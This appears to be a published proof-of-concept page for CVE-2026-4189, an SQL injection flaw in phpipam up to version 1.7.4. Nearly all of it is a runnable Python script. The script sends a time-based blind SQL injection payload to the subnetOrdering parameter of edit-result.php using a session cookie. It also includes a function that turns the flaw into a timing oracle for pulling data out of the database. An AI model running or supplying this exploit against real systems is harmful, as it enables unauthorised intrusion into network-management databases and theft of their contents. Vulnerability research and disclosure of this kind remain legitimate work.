CVE-2026-4189 phpipam Section Handler SQL注入漏洞

# CVE-2026-4189 SQL Injection PoC for phpipam # Target: phpipam <= 1.7.4 # File: app/admin/sections/edit-result.php # Parameter: subnetOrdering import requests import sys def exploit_sql_injection(target_url, cookie): """ SQL Injection PoC for CVE-2026-4189 This PoC demonstrates time-based blind SQL injection """ # Target endpoint endpoint = f"{target_url}/app/admin/sections/edit-result.php" # Malicious payload for time-based blind SQL injection # Using SLEEP() function to confirm vulnerability payload = { 'subnetOrdering': "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE SLEEP(0) END) AND '1'='1" } headers = { 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: print(f"[*] Sending exploit request to {endpoint}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") # If vulnerable, the request will take ~5 seconds if response.elapsed.total_seconds() >= 5: print("[+] Target is VULNERABLE to CVE-2026-4189") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.Timeout: print("[+] Target is VULNERABLE - Request timed out as expected") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_data(target_url, cookie, query): """ Extract data using SQL injection Example: Extract database version """ endpoint = f"{target_url}/app/admin/sections/edit-result.php" # Build extraction payload payload = { 'subnetOrdering': f"1' AND (SELECT CASE WHEN {query} THEN SLEEP(3) ELSE SLEEP(0) END) AND '1'='1" } headers = { 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) return response.elapsed.total_seconds() >= 3 except: return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4189.py <target_url> <cookie>") print("Example: python cve-2026-4189.py http://target.com 'phpipam=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print("="*60) print("CVE-2026-4189 SQL Injection PoC") print("Target: phpipam <= 1.7.4") print("="*60) exploit_sql_injection(target, cookie)